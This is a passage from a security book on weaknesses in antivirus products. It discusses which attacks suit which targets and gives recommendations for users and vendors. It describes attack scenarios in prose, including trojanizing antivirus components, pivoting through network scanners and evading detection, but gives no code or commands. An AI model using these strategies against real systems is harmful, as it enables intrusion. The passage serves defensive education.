sends a malicious email to the target, which then triggers a bug in the antivirus 

software leading to a DoS attack or remote code execution. On the other hand, 

remotely exploiting server-side components of an antivirus software involves 

attacking email gateways, fi rewalls, and other servers or services exposed to 

the LAN or WAN.

Client-side components are mitigated against exploitation by various technolo-

gies provided by the operating system, the compiler, and custom sandboxes. 

To name a few: ASLR, DEP, SafeSEH, Control Flow Guard, security cookies, 

and so on.

While there seem to be a lot of mitigations, antivirus developers still make

lapses in security designs and implementations, thus paving the way for successful 
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exploitation. The following is but a short list of trivial and common mistakes 

that can lead to exploitation and security problems:

■ Not enabling Address Space Layout Randomization (ASLR) for one or 

more modules or system-wide injection of non-ASLR-enabled libraries 

into other processes

■ Purposely disabling DEP in order to execute code in the stack or to preserve 

backwards compatibility with some older components of the antivirus 

software

■ The use of Read-Write-eXecute (RWX) memory pages, especially if they 

are allocated at fi xed memory addresses

Apart from leveraging weaknesses in the use of mitigations, attackers use 

certain features in the antivirus software to their advantage. For example, if the 

antivirus contains emulators, it is possible to abuse the emulators and use them 

to do heap spraying or to leak memory and cause a DoS that could potentially 

crash the antivirus.

Server-side components and other network services are also protected by 

the same mitigations mentioned above and at the same time share their weak-

nesses. However, there are more attack vectors that server-side components 

are exposed to:

■ Update servers are prone to ARP spoofi ng attacks

■ The incorrect use of fi le signature and integrity checks while transmitting 

the update bits, for example, using CRC32 algorithms instead of PKI-based 

signature checks

■ Improper use of secure transport channels, for example, using HTTP 

instead of HTTPS

The fi nal two points in the previous list were nicely illustrated by a hands-on 

section on how to exploit the update service of Dr.Web antivirus.

This chapter concludes Part III of this book. In the next and fi nal part, the 

remaining two chapters will be less technical and more informative and talk 

about the current trends in antivirus protection and the direction the antivirus 

industry is heading. The book concludes by sharing some thoughts on how 

antiviruses could be improv ed.
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The robustness and effectiveness of the protection offered by antivirus products 

is not exclusively determined by the quality of the antivirus product, but also 

by the target audience.

Nowadays, everybody is a target for malware authors. However, it is unlikely 

that the owner of your neighborhood supermarket is going to be the victim of 

an attack perpetrated by an actor using zero-day exploits. On the other hand, a 

government or a big corporation is going to be targeted by any and all possible 

malware writers around the world, ranging from the not-so-knowledgeable 

authors of rogue antivirus software and other malware to state-level actors. 

Almost weekly, you can read in the news about how the National Security 

Agency (NSA), Government Communications Headquarters (GCHQ), or some 

other agency has launched campaigns—or cyber-attacks, as they are usually 

called—against telecommunication companies, ISPs, and other big companies.

Such corporations, local or foreign, are interesting targets in helping to spy 

on foreign countries, specifi c individuals (political personnel, activists, and 

whistle-blowers), armed groups, and so on.

The target audience of consumers for antivirus software can be divided into 

four major groups: home users, small to medium-sized companies, governments 

and big companies, and the targets of governments.

This chapter discusses the current trends and the protection levels offered 

by the antivirus industry to its major target audience groups and what each 

group should expect.

C H A P T E R 
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Matching the Attack Technique with the Target

This book covers various techniques, weaknesses, attack vectors, potential vul-

nerabilities, and published exploits that could be used to mount an attack on a 

machine that employs an antivirus solution. Those techniques and methods vary 

in complexity, cost, and the time they take to produce and weaponize. Therefore, 

it stands to reason that there should be a justifi cation factor that dictates how 

to choose the appropriate attack technique for a given target.

The following section will explain the various factors that play a role in 

choosing which attack technique to use against which target.

The Diversity of Antivirus Products

The market holds a diverse number of antivirus products; therefore, it is impos-

sible to target all users with the same technique. The list of antivirus products

is so long that even if the most popular antivirus software on the market were 

successfully targeted, it would only mean that roughly 20 percent of all users 

were actually being targeted.

Because of this diversity, if the target is not worth it, using an antivirus suite 

as an attack vector is not worth it. Therefore, it is better to use exploits for less 

diverse but much more popular software such as web browsers (Firefox, Internet 

Explorer, and so on) and Offi ce suites (Microsoft Offi ce, Apache OpenOffi ce, 

and so on). The following sections discuss types of attacks and their targets.

Zero-Day Bugs

Zero-day bugs are security bugs that are not yet disclosed or fi xed and that 

can be used to own a system. These kinds of bugs are so powerful that they 

cost a lot of money and time to acquire. It can be argued that zero-days can be 

considered cyber-weapons. 

For that reason, it makes no sense for an attacker to elect to use a zero-day 

against a low-profi le target. There is also the risk of losing the zero-day if a 

malware sample is caught by an antivirus solution or by a researcher and is then 

dissected and studied. This means the bug will be fi xed and that the zero-day 

will become worthless in a matter of days or weeks.

When it comes to small targets, using a zero-day bug means expending a lot 

of valuable resources. It is like using a bazooka to kill a fl y or using an F-16 to 

go to the grocery store around the corner.

Since 2014, how often do you hear that a new zero-day is being used on a 

massive scale? Not very often. Attackers simply do not need to waste such 

resources. They can save zero-day exploits, if they happen to have them, for 

high-profi le targets. 
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Patched Bugs

Using zero-day bugs inappropriately can render them useless if they are caught 

in the wild. As an alternative, attackers can use older security bugs that have 

been patched. The bet here is that there will always be computers that do not 

have the latest security patches installed.

Most exploit kits that are sold on the black market do not contain even a single 

zero-day exploit but rather contain exploits for known vulnerabilities that have 

been fi xed recently or even years ago. It is very common to discover modifi ed 

and repurposed exploits in Metasploit (an exploitation framework) or in massive 

attacks focused on infecting as many home-level users as possible. Actually, 

this scheme works better than using real zero-day exploits. 

Targeting Home Users

A home user should not be too worried about many of the attack techniques 

mentioned in the previous sections. When it comes to home users, attackers want 

to maximize the number of infected users, and therefore they tend to care less 

about using advanced techniques and focus more on using simple techniques 

that achieve quick results when applied to a large number of home users. 

There are many reasons why malicious attackers target home users (for 

example, by trying to infect the computers of our mothers or grandmothers), 

but their main motivation is usually the same: to make money in one way or 

another. Here is how some attacks can benefi t attackers monetarily:

■ The infected computer can be monitored to capture banking details or 

any other kind of data that can be directly converted into money, such as

PayPal or Amazon accounts, and so on.

■ The infected computer can be part of a zombie network that can be rented 

for distributed denial-of-service (DDoS) attacks, spam campaigns, mining 

of cryptocoins, and so on.

■ The infected computer’s documents, images, and other data can be 

encrypted and a ransom demanded to decrypt them.

■ Using social engineering techniques, attackers can trick users into installing 

a piece of software that claims to be a security suite (such as an antivirus) 

but is actually not. The rogue protection suite displays fake messages 

about multiple, non-existent, and invented infections to scare the user into 

buying the full version of this fake antivirus solution in order to clean 

the infected machine.

It is clear from this list that none of those motivations apply to a government 

trying to spy on political dissidents, or a company that contracts a group of attack-

ers to penetrate a high-profi le competitor to steal secrets and intellectual property. 
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Targeting Small to Medium-Sized Companies

Small to medium-sized companies may need to worry, but not too much, in my

opinion, as they are very similar in many ways to home users. A small company 

that, for example, sells insurance is unlikely to be the target of an attacker using 

zero-day exploits. It can, however, be the target of another insurance company 

trying to steal its customer database. Attackers targeting smaller companies 

would likely employ techniques similar to those used to attack home users: 

social engineering, exploit kits, and already-patched zero-day bugs.

It is extremely unlikely that a government or other big actor would use a 

zero-day exploit against a small to medium-sized company and risk losing 

the exploit; it is not worth the money. After all, what is the point of a foreign 

government owning, say, a car wash business? Its data is not very interesting, 

nor is its infrastructure.

For these reasons, small to medium-sized companies probably don’t need to 

worry about vulnerabilities in antivirus products, at least not yet. However, if 

an audit of an antivirus product reveals a lot of vulnerabilities, this means that 

the quality of the antivirus product is poor. So, even though these companies

do not need to worry about zero-day vulnerabilities, they do need to worry 

about the quality of the product they have installed on their offi ce computers.

Wouldn’t you think that an antivirus product with a lot of vulnerabilities will 

have a different quality level when it comes to providing protection, detection, 

disinfection, and other capabilities?

Targeting Governments and Big Companies

Governments and big companies make interesting targets, although attacking 

them requires the use of more complicated techniques. These targets need 

to worry about any and all possible attackers on a world scale. For example, 

non-targeted, large-scale attacks that were meant to own home users may also 

inadvertently target government and big companies’ computers.

Governments and big companies need to worry about actors who have no 

qualms about using zero-day vulnerabilities, because they are a constant target 

for foreign countries or companies in the same fi eld. For example, do competing 

car manufacturers need to worry about industrial espionage from each other? 

Absolutely. The same applies to pharmaceuticals, movie producers, book pub-

lishers, and, even worse, weapons manufacturers, nuclear plant managers, and 

other high-profi le targets.
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These target types really do need to worry about an actor using an exploit 

against the antivirus solution or solutions used in their environments. Take a 

look at the following hypothetical situation:

1. A company or foreign government A wants to steal some data from target 

government or company B.

2. The perimeter of target B is heavily fortifi ed, all computers have installed

an antivirus solution, and all internal network traffi c is inspected by anti-

virus products.

3. Attacker A decides to send an email that will be received by target B’s

email gateway server, with an embedded exploit targeting the antivirus

product.

4. And voilà! Company or government B becomes owned by company or

foreign government A.

But it can be even worse: what if the actual exploit installs an implant that 

integrates with the antivirus solution? For example, what if the implant from the 

malicious actor A installed on target B’s infrastructure runs within the context 

of the antivirus solutions? If target B actually trusts the antivirus product, it is 

going to be a complete disaster, because it trusts a vulnerable piece of software 

that was owned. This is a completely hypothetical case, but there is a good pos-

sibility of this occurring. There is little doubt it is happening right now while 

you are reading this book.

There are very few cases of malicious state-level actors targeting antivirus 

products. However, one such case is The Mask (also known as Careto). This high-

stakes, state-sponsored malware attack launched against governments in North 

Africa, southern Europe, South America, and the Middle East over the course 

of at least fi ve years was attributed to the Spanish government. According to 

Kaspersky’s reports, The Mask was abusing some vulnerability on Kaspersky 

antivirus products. No additional data was ever published by Kaspersky about 

this attack; nevertheless, this is an example of a real breach of unspecifi ed vulner-

abilities on an antivirus product that affected many companies worldwide—a

piece of software mistakenly trusted.

The Targets of Governments

A journalist (or, at least, one not on the government payroll) or a political dis-

sident in any country will certainly be the target of a government agency. A 

realistic target of a government, such as a journalist, a politician of an opposing 
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political party, or a member of a human rights organization, must worry about 

what I have discussed in this book. Although such targets are not a government 

or a big company, the odds of their being an interesting target for a government

are very high, and a government is an actor with the capabilities and resources 

to use zero-day attacks against multiple antivirus products. For such people, 

antiviruses are tools that governments can use to spy on them.

Another example target of governments are antivirus companies themselves. 

For example, consider the recently discovered attack against Kaspersky: an 

attack from a government targeted the Kaspersky labs in what may have been 

a lateral attack (to spy on its customers) or a direct attack to have privileged 

knowledge about their technologies and how they advance in the research of 

other nation-sponsored malware.

In summary: antivirus products can be more of a danger than a benefi t in 

some cases, and their own products cannot protect anyone, not even themselves, 

from nation-state attackers. For anyone under government surveillance, the 

security of their computers and their ability to conduct confi dential and private 

communications are unfortunately the least of their problems.

Summary

 It is important to be realistic about the odds that an actor with almost unlimited 

resources, such as a very big company or a government, can break protection 

software that costs about US$50. What are the odds that such an actor can break 

the most-used protection software suites? Close to 100 percent, in my opinion.

After researching antivirus products for almost two years, I believe that the 

probablities are very high, because I found weaknesses in most of the antivirus 

products that I researched over that time.

One can argue that the “business-level” protection suites are different, and 

it is true that they are. However, they are based on the same software. What I 

usually discovered was that an exploit working against the retail version of a 

product had to be adapted to work against the business protection suite because 

a different ASLR bypassing technique had to be used, different paths were 

used, services were listening in different ports and pipes, and so on. However, 

because the business software and desktop software shared the same kernel, 

a vulnerability targeting a fi le format parser, for example, had the same effect 

against both editions of the same product.

It is my opinion that the current level of protection offered by antivirus prod-

ucts is not enough to protect against malicious attackers that are willing to use 

zero-day bugs. Sometimes, installing an antivirus product can make comput-

ers and networks even less secure than not having an antivirus product at all, 

because the attack surface dramatically increases, and vulnerabilities can be, 

and actually are, included at both local and remote levels.
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Some antivirus software companies do not worry at all about security in their 

products because average users do not know how to really measure it (who cares 

about writing security-aware tools when a non-security-aware tool is going 

to sell anyway?). Self-protection security measures, if implemented at all, are 

rudimentary at best and focus exclusively on preventing the termination of the 

antivirus products by malware. There are some exceptions (AV companies that 

are concerned about security in their products), but they are actually the excep-

tions to the rule: antivirus companies only care about marketing campaigns.

In the future, the situation may change, but today, it unfortunately looks dire. 

The next chapter discusses possible improvements that I think will be added 

at some point or that are actually implemented by a few antivirus products.
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The current protection levels provided by most antivirus solutions are not as 

good as one would expect from an industry that deals with security products. 

This chapter discusses some strategies that the security industry may adopt to 

increase the effectiveness of its products.

This chapter is meant to give you ideas about how to improve the protection 

and quality of antivirus products. It will also give you some ideas about what 

you can and cannot expect from an antivirus solution, starting with some  general 

recommendations regarding most antivirus products.

Recommendations for Users of Antivirus Products

An antivirus product is synonymous with security for most users, but 

this is not completely accurate. This part of the chapter explains some 

typical  misunderstandings and also gives recommendations for antivirus 

software users, especially those who should be most worried about 

 vulnerabilities in security products: big companies and governments. 

In any case, most of the recommendations here still apply to other users of 

antivirus products.

C H A P T E R 
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Blind Trust Is a Mistake

Blind trust in the security provided by antivirus software is the most common 

mistake people make. It is no surprise that messages such as “My computer is 

infected with malware. How can it be? I have antivirus installed!” continue to 

appear on public forums.

Before putting all your faith into antivirus products, you should consider the 

following points:

■ Antivirus products cannot protect against mistakes made by users. Attacks 

that use social engineering tactics cannot be stopped by antivirus software. 

Users should have some security awareness and training.

■ Antivirus solutions are not bulletproof; they have bugs and weaknesses

like any other piece of software installed on your computer.

■ Antivirus products work by detecting what they know based on the 

 signatures, heuristics, and static and dynamic analysis techniques they 

have support for. They cannot detect unknown or new threats unless those 

threats are based on patterns (either behavioral or statically extracted 

artifacts) that are already known to the antivirus company.

■ A key part of the development or quality assurance (QA) phases of 

effective malware is to actually bypass all or most existing antivirus 

 solutions. In general, this is not especially diffi cult and is done on a regular 

basis by both illegal and legal malware (such as FinFisher).

■ Antivirus products can be exploited like any other software.

■ It is easier to exploit a security product, such as antivirus software, than

an Offi ce suite or browser.

■ At least one antivirus company (Kaspersky) is publicly known that was 

owned in a state-sponsored attack (likely launched by Israel): its tools 

were not useful to prevent the attack.

Users (especially non-technical computer users) often consider antivirus 

products to be the Holy Grail of security. They view an antivirus product as 

software that they can install and then simply forget about, because the antivi-

rus product takes care of all security matters for them. This sort of mentality is 

also encouraged by the marketing campaigns of antivirus products. Campaigns 

with slogans such as “Install and forget!” are common, but these slogans are 

far from true and are a serious challenge to real security.

Because of a lack of security education and awareness or because they fell for a 

social engineering trick, users sometimes disable an antivirus product tempo-

rarily to install an application they download from the web or receive by email. 

While this may sound unusual, it is one of the most common ways antivirus 
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software users become infected. Often, stories ranging from hilarious to tragic 

can be heard when chatting with an antivirus support engineer about his or 

her opinion on this subject.

A common social engineering ruse occurs when a certain malware politely 

asks users to disable the antivirus software because it may interfere with the 

installer. The malware can also simply ask a user for higher privileges. When 

the user clicks Yes at the User Account Control (UAC) prompt in Windows, the

malware disables the antivirus solution and does anything it wants to do. Many 

instances of malware, which are sometimes successful, are distributed by an 

email asking the user to disable the antivirus before actually opening the attach-

ment, be it a document, picture, or executable. As crazy as it sounds, this works.

Many users still falsely believe that an antivirus program knows about every 

malware and about everything malware can do. However, antivirus solutions 

are not bulletproof. A bug in the antivirus software may allow a certain piece of 

malware to slip under the radar and remain undetected, thus leaving the mal-

ware to freely roam in the system. For example, a zero-day bug in the antivirus 

software, or in the actual operating system, can be leveraged by the malware 

so that it can do whatever it needs to do to complete its infection, often from 

kernel-land.

It is important to know that malware research and new infection and eva-

sion techniques advance much more quickly than the defense and detection 

mechanisms that antivirus researchers create. Therefore, an antivirus product 

may know nothing about the new techniques that an advanced malware prod-

uct is using until a sample is captured in the wild and is sent to the antivirus 

companies for analysis. 

Antivirus software can only protect against what it knows of. New malware, 

or even old malware, can simply morph its contents to evade the static detection 

signature that one or more antivirus products use. For example, a new executable 

packer or protector can be used by malware (or goodware!) authors to evade 

detection. Using an executable packer to change the layout of executable malware 

while keeping its logic intact is not as complex as it sounds; sometimes it is as 

simple as packing the malware to render it statically undetectable. 

An antivirus product still has some chance to detect malware by using

dynamic analysis techniques while the malware is executing. For example, the 

antivirus program may monitor the process by using some kind of API hook-

ing. If API monitoring is done in userland, the malware can simply remove the 

hooks, as I discussed in Chapter 9. If API monitoring is done in kernel-land, the 

malware can perform the monitored actions with long delays between them, 

so the kernel-land monitoring component “forgets” about previous actions; 

this is a common technique used in many malware products. This approach 

confuses behavior monitoring and heuristic engines in antivirus solutions. 
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Malware can also use inter-process communication to distribute malicious 

tasks between its various components; this, too, can throw off the behavior-

monitoring engines. Most antivirus products know nothing about what the 

malware is doing in such cases.

Also keep in mind that malware development uses the same cycles that 

any other software development uses; that is, QA is an integral part of effec-

tive malware. For example, malware kits offered on the black market usu-

ally come with a support period. During that time, malware kit updates are 

provided to buyers. One of the typical updates supplied for such software 

is actually related to antivirus evasion. Indeed, before release, a new piece 

of malware—depending on its quality—is likely to be beta-tested against 

the most common antivirus solutions. Therefore, when the new malware is 

released, the malware authors know that antivirus vendors will know nothing 

about it until they get the fi rst samples, analyze the malware, and develop 

the detection (and possibly disinfection) code. The malware will eventually 

be detected by antivirus vendors, and so the malware writers will update 

the product to evade detection by antivirus products. Again, the antivirus 

vendors will update their products with new signatures to detect the new

version, and so on. This is the infamous cat-and-mouse game that you hear 

about in the software security industry. Unfortunately for computer users, 

malware authors are always one step ahead, regardless of what the antivirus 

industry advertises.

In previous examples, I focused mainly on malware that was distributed on 

a massive scale. Targeted malware can go unnoticed for the entire time that 

the malware attack is underway. Once it has accomplished its objective, it is 

removed and, like magic, nobody notices anything.

It is also important for users to understand that antivirus products can be owned 

just like any other software and that the security measures they implement are 

much simpler—if they exist at all—than the security measures implemented in

Offi ce suites or browsers, such as Microsoft Offi ce or Google Chrome. This means 

that the antivirus solution you are using can actually be the entryway to your 

computer. For example, malware can exploit a bug in a fi le format parser. The 

protections implemented in the antivirus software for preventing exploitation 

in the actual antivirus are frequently non-existent or rudimentary at best. For 

example, in one “self-protection” mechanism, the antivirus software prevents 

calls such as ZwTerminateProcess over one of its processes.

Consider the following hypothetical, but very possible, scenario, where an 

antivirus can be owned and trojanized so that it hosts the malware:

 1. A malware is executed in the target’s computer.

 2. The malware uses a zero-day mechanism to disable the antivirus program. 

A DoS bug, triggered by a null pointer access that crashes the antivirus 

service, is more than enough.



 Chapter 17 ■ Recommendations and the Possible Future 335

 3. While the antivirus software is still restarting in order to recover from the 

crash, the malware Trojanizes some components of the antivirus program. 

For example, it may drop a library in the antivirus program directory that 

will later be loaded by the userland components of the antivirus software.

 4. The malware, after it properly deploys itself, restarts the antivirus program

if required.

 5. Now the malware is actually running within the context of the antivirus 

product.

Here is another even more probable—and more worrisome—scenario:

 1. An exploit is executed in the target’s computer, for example, by taking 

advantage of some vulnerability in a web browser. The exploit then down-

loads and runs some malware.

 2. The malware uses a zero-day strategy against the antivirus program in order

to execute code in its context (which is running as SYSTEM in Windows or

as root in Unix variants) to get out of the browser’s or document reader’s

sandbox.

 3. The malware now has elevated privileges and is outside of the sandbox (as

antivirus products don’t usually run inside a sandbox). The malware can 

persist in a stealthy manner, often by Trojanizing the antivirus software or 

by creating and running from a thread in the context of that application.

 4. The malware is now successfully running in the context of a privileged

application: the antivirus program.

In these situations, do you think the antivirus product does anything to 

validate itself (its fi les or its running threads)? It makes no sense, right? After 

all, how can an antivirus not trust itself?

There are different variations of the same approach:

■ Malware can use a zero-day approach to create a thread in any or all of 

the antivirus programs running as SYSTEM, while communicating between

individual threads as a single distributed malware. The antivirus program 

excludes all of its own processes from the analysis, and so the malware 

goes undetected.

■ Malware can hide as a (non-signed) component of the antivirus program. 

It can be, for example, a malicious update fi le or a script inside the program’s 

directory in Unix, such as a cron task script. Because the task script is an

antivirus component, it is usually excluded from the analysis.

There are countless ways that malware can use an antivirus product to hide 

itself. This stealth technique can be considered as an antivirus-level rootkit. 

Such a rootkit has access to all resources that the antivirus product has, which 
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means it can do virtually anything because it is running in the context of the 

antivirus application. Also, detecting it will be extremely diffi cult for the anti-

virus solution: the antivirus product logic would have to stop trusting even its 

own fi les and processes!

I need to point out that I have only seen this approach in a few situa-

tions, and then by chance. On one occasion, the malicious code was part of 

a Metasploit meterpreter stage that was pivoting over antivirus processes 

(creating threads that jump from process to process) because they were not 

protected for some reason; on another occasion, the malicious code was hidden 

in a thread injected by malware in the context of an unprotected application 

running as the current user. While I have not often seen this approach in my

research, it does not mean that it is not possible to have such a stealth mecha-

nism; actually, you can expect the use of advanced stealth techniques from 

effective malware. This area has probably not been thoroughly researched 

by many malware authors. It is rare for security researchers to be the fi rst to 

discover a technique; usually the researcher is simply the fi rst to make such 

techniques public.

In short, you should never blindly trust your antivirus program. It can be 

owned, and it can be used to hide malware or a malware process or thread. 

Blindly trusting your antivirus software can be a big mistake for your organiza-

tion. I cannot stress this point enough.

MALWARE ATTACKS THAT DO NOT DEPEND ON ZERO DAY PROCESSES

Some of the scenarios discussed in this section about not trusting an antivirus pro-
gram can be explained without even using zero-days. For example, say that a fi le
infector, a virus, infects a computer. Every executable that is scanned or executed will
be owned before actually executing or opening that fi le. This happened with the well-
known viruses Sality and Virut. How can you trust that the antivirus scanner, which is a 
normal program, is not going to be infected while it scans fi les to disinfect them? Even
if the antivirus scanner protects itself from being infected as it scans all the fi les in 
the computer (which is not that common when an independent command-line scan-
ner is launched), the other executable fi les may still become infected by the virus. (Of 
course, whether infection occurs depends on the quality of the disinfection routines 
of the antivirus.)

A sophisticated fi le infector can create very diff erent generations for each infection.
If you talk with any technical support person who deals with antivirus products, you
will discover this is a fairly common situation. However, it can be easily fi xed: the scan-
ner and the beta-quality virus database fi les are copied to a CD-ROM, and then the
tool is executed from the CD-ROM. Because the CD is read-only media, the fi le infector
cannot infect it. Problem solved.
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Isolating Machines Improves Protection

For big organizations, when possible, I recommend isolating the machines that 

perform network analysis with antivirus products. The problem is that an anti-

virus program can be used as the entry point to penetrate your network, and it 

can also be used as the glue to connect to other internal networks, by helping 

an attacker to own network analysis security products.

Here is a simple and worrisome example that illustrates how dangerous a 

not-so-good antivirus solution can be:

 1. The perimeter of a targeted organization is heavily protected, with only 

the email and web servers open to external interfaces. All patches have 

been applied.

 2. The web or email server (or both) scans every fi le that is received.

 3. One of the intercepted fi les is actually a zero-day exploit targeting the

antivirus program that is used by the organization. It is weaponized so 

that it owns the email gateway or the web server.

 4. The attacker successfully penetrates the organization’s network by, ironi-

cally, taking advantage of the security product it relies on.

 5. If the antivirus software performs network analysis on other parts of the 

network, the attacker can send fi les (via HTTP, SMB/CIFS, or another 

protocol) from the owned email gateway or web server to other parts of 

the network, to penetrate more deeply into the network.

 6. If the computers on the network use the same security product, as long

as the owned components have network access to these security products 

and they perform network analysis, they can also be owned with the same 

zero-day exploit.

Bottom line: when one or two zero-day exploits are used against the antivirus 

product, the entire organization can be owned. Think about a worm exploiting 

just one zero-day vulnerability in your favorite antivirus program. While there 

are no known worms that target antivirus programs, one could defi nitely be 

developed.

This scenario applies not only to fi le analysis tools (such as a common desk-

top antivirus program) but also to network analysis tools (that is, software that 

performs analysis of everything fl owing through your network). With network 

analysis tools, the remote attack surface becomes very wide, as these tools have 

to deal with complex network protocols such as HTTP, CDP, Oracle TNS, SMB/

CIFS, and a plethora of other protocols. If the odds of having vulnerabilities in 

the code of fi le format parsers are high, the odds of having vulnerabilities in the 

code performing network analysis are even higher. If you consider the remote 

attack surface that both components expose, you may think twice about relying 

on that antivirus solution that was never audited.
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Auditing Security Products

Performing an audit of the security product that you want to deploy in your 

organization—or that you already have deployed—is one of the best recom-

mendations that can be made. You cannot be sure about the quality of the anti-

virus solution and the real attack surface exposed, or their self-protection levels 

(if they have any), without relying on your own audits or on audits performed 

by third parties. It is sensible not to trust the advertisements of security product 

vendors because it is their job to sell the products.

Although the code of big companies, such as Microsoft, Google, IBM, and 

Oracle, is frequently inspected by third-party auditors, a lot of antivirus software 

is never audited. Yes, that’s right: never. One of the reasons for this, believe it 

or not, is that they are very wary of giving their source code to a third party. 

Third-party auditors are allowed to connect to machines in their headquarters 

with all the code only in the presence of a staff member who monitors what the 

auditors are doing. Even so, antivirus vendors should at least perform a black-

box audit, often called a binary audit. Unfortunately, most antivirus vendors 

never audit their products, not even during the development cycle. There are 

exceptions to this rule; some antivirus companies perform one or many of the 

following audit types:

■ Regular binary audits

■ Regular, internal source audits

■ Regular source audits by third parties

In my experience, an unaudited application is a buggy application. You can 

audit your favorite unaudited antivirus program and test this assertion.

Recommendations for Antivirus Vendors

Over about a two-year period, I performed audits on many antivirus products. 

The sad results were that out of 17 antivirus products, 14 were vulnerable. 

Usually, after I discover a vulnerability, I exploit it or, at the very least, fi gure 

out how it could be reliably exploited.

I also observed that privilege separation, sandboxing, anti-exploiting tech-

niques, and so on are not applied to most antivirus products; this makes it trivial 

to exploit security applications compared with how complex it is to write an 

exploit for Google Chrome or Microsoft Word, software programs that imple-

ment many top-notch tricks in order to make exploitation more diffi cult. 

The following sections contain some recommendations for the antivirus 

industry. Some of them likely represent the future of antivirus products, follow-

ing the logic that was implemented with client-side applications such as Adobe 

Acrobat Reader, Microsoft Word, and most existing web browsers.
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Engineering Is Diff erent from Security

An antivirus company needs good engineers to develop its products, as well as 

good programmers, analysts, and database, system, and network administra-

tors. However, it also needs security specialists. An antivirus engineer with a 

number of years of experience in C or C++ does not necessarily have experience 

writing security-aware code or know how to fi nd vulnerabilities and exploit 

them. Indeed, some engineers do not have a clue about what security-aware 

code means, regardless of whether or not they work for a security company.

This problem can be fi xed by contracting security engineers and applying the 

following “magic” trick: training. Training your programmers in security-aware 

coding, vulnerability discovery, and exploiting will make them more aware of 

weaknesses or vulnerabilities in the part of the antivirus they develop and will 

likely result in many vulnerabilities being fi xed during the development process. 

Also, developers with this knowledge will refuse to introduce code patterns that 

may lead to undesirable conditions. Not implementing this security awareness 

in your organization will result in coders doing their job without considering 

the security implications of a design choice or code, because they simply will 

not have any knowledge about security considerations.

Exploiting Antivirus Software Is Trivial

Sadly, some of the biggest antivirus products, with only a few exceptions (which 

shall remain unnamed), do not implement the following measures that are 

typically found in web browsers and document readers: 

■ Privilege separation

■ Sandboxing

■ Emulation

■ Not trusting other components, by default

■ Anti-exploitation measures inside their own products, not only for pro-

tecting third-party applications

Most antivirus solutions have an application with high privileges (local sys-

tem or root) running as the malware analysis service (fi les and network packet 

scanning) and a (usually unprivileged) GUI application that shows the results. 

With only one attack, a maliciously crafted network packet or fi le, intercepted 

by the scanner, can cause the service to become owned by exploiting a vulner-

ability within it, and the exploit will have full privileges, either local system in 

Windows or root in Unix-based operating systems.

On the other hand, some document applications or web browsers implement 

privilege separation in a more intricate way. Usually, there is one process with 

the privileges of the logged-in user and many other worker processes with fewer 
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privileges that actually perform the parsing and rendering of the PDF fi le, Word 

document, or web page. If a vulnerability is exploited in that application, the 

exploit also needs to escape the sandbox to execute code with higher privileges. 

In the antivirus industry, only a small number of products implement anything 

similar to this. This situation should change, as it is ironic that a security product 

is less security-aware than, for example, a document reader.

Perform Audits

The best recommendation I can give to antivirus vendors is to regularly audit 

their products. You cannot have a secure product without auditing it. Here are 

the possible auditing choices that you can make:

■ Internal audits—These audits should be performed every time a new 

feature or component is added to your antivirus software.

■ Third-party source code review audits—This is the best approach to 

auditing your application. A third party auditing your company is not 

biased about which components should be considered, a problem that 

is common with internal audits. A third-party company analyzes all 

components and focuses on the more dangerous components without 

any bias, whereas in-house auditors may look at a piece of code and dis-

miss it because it has been running without problems for ages and must, 

therefore, be bug-free.

■ Third-party binary audits—These are better than internal audits but less 

effective than third-party source code reviews. The auditing company will 

fi nd vulnerabilities in your products using a black-box approach, thus 

minimizing the risk of the antivirus solution source code being leaked.

Regularly auditing your security products will undoubtedly result in their 

being more resilient, as long as all the logical recommendations made by the 

auditors are applied, and the bugs discovered during the audits are fi xed.

Fuzzing

Fuzzing (discussed in Chapter 13) is a black-box technique used to discover bugsg
in a software application. I highly recommend that you continuously perform 

fuzzing of your target application in order to discover and fi x bugs during all 

the development stages. Fuzzing can be used by developers to test a new feature 

while coding it. It can also be used by your QA team to probe the fi nal code 

builds prior to shipping. However, fuzzing should also be used to discover bugs 

in a released application because some complex bugs appear only after weeks 

or months of fuzzing.
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Fuzzing gives good results, kills most of the obvious bugs in your applica-

tion, helps you discover some complex ones, and is cheap to implement. Even 

a single machine using radamsa mutators and running your scanner against 

the mutated fi les may work. However, writing something more complex and 

customized specifi cally for your product would naturally be better.

Use Privileges Safely

Most antivirus services and processes run with the highest possible privileges, 

local system or root, and do not use sandboxing or any kind of isolation of com-

ponents, as web browsers, Offi ce suites, or document readers do. Techniques for 

making exploitation more diffi cult, such as the isolated heap or the “Delay Free” 

recently added to the latest versions of Internet Explorer, are not implemented 

by a single existing antivirus product. (Or, at least, I failed to fi nd a single one 

after researching 17 products over two years.)

If the antivirus industry wants to go forward and write effective security 

software, not cute GUI applications with a label in big capital letters saying 

“SAFE,” then it must follow the path that popular client-side applications, such 

as web browsers and document readers, followed years ago. At the very least, 

it needs to incorporate privilege separation and sandboxing.

Some antivirus companies argue that the antivirus services must execute 

with high privileges. This is partially true: a mini-fi lter driver is required to 

intercept network traffi c; a privileged application is required to read and write 

all fi les to the disk or even the Master Boot Record (MBR). However, that privi-

leged application’s only purpose should be to read a fi le or packet. The read 

content should then be sent to another low-privilege application that executes 

the potentially dangerous code that deals with parsing network protocols 

or fi le formats. This would be easy to implement and would require at least 

two exploits in order to achieve code execution during an attempt to attack 

 antivirus software:

■ One exploit to execute code in the context of the low-privilege application 

doing a fi le or network packet’s parsing

■ Another exploit to escape the sandboxed application that is owned

Potentially unsafe code can be made to run in some sort of virtualized or 

sandboxed environment. For example, an application would not really be run-

ning natively but be running inside an emulator or virtual machine. In this 

case, a successful attack leading to code execution in an antivirus product 

would require one exploit to escape from the virtual machine prior to trying 

to escape the sandboxed application. It would make exploitation of antivirus 

products really complex.
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Reduce Dangerous Code in Parsers

The parsers for both fi le formats and network protocols in an antivirus product 

are quite dangerous because, by nature, they deal with hostile code. Such code 

should be written with extreme care because the way this code is written can 

open a big attack vector. Also, such code should run in sandboxed processes, 

as previously discussed, because the odds of having exploitable vulnerabilities 

in C or C++ code, the de facto language for antivirus kernels, are very high. 

Therefore, instead of writing everything in C or C++, programmers could divide

the code base (and responsibilities) between native code and other memory-

safe languages, which would mitigate the side effects of writing dangerous and 

potentially buggy code.

For example, the kernel fi lesystem fi lter driver that is used to provide real-

time protection in antivirus software does not have to include the fi le format or 

protocol parser code; instead, the driver can send a message to a low-privileged 

(or even sandboxed), managed process (or service) that deals with the fi le format 

and then sends the result back to the fi lter driver.

Managed (memory-safe) or scripting languages such as .NET, Lua, Perl, Python, 

Ruby, and Java can be used to write detection and disinfection routines and 

fi le format and network protocol parsers. The odds of introducing remotely 

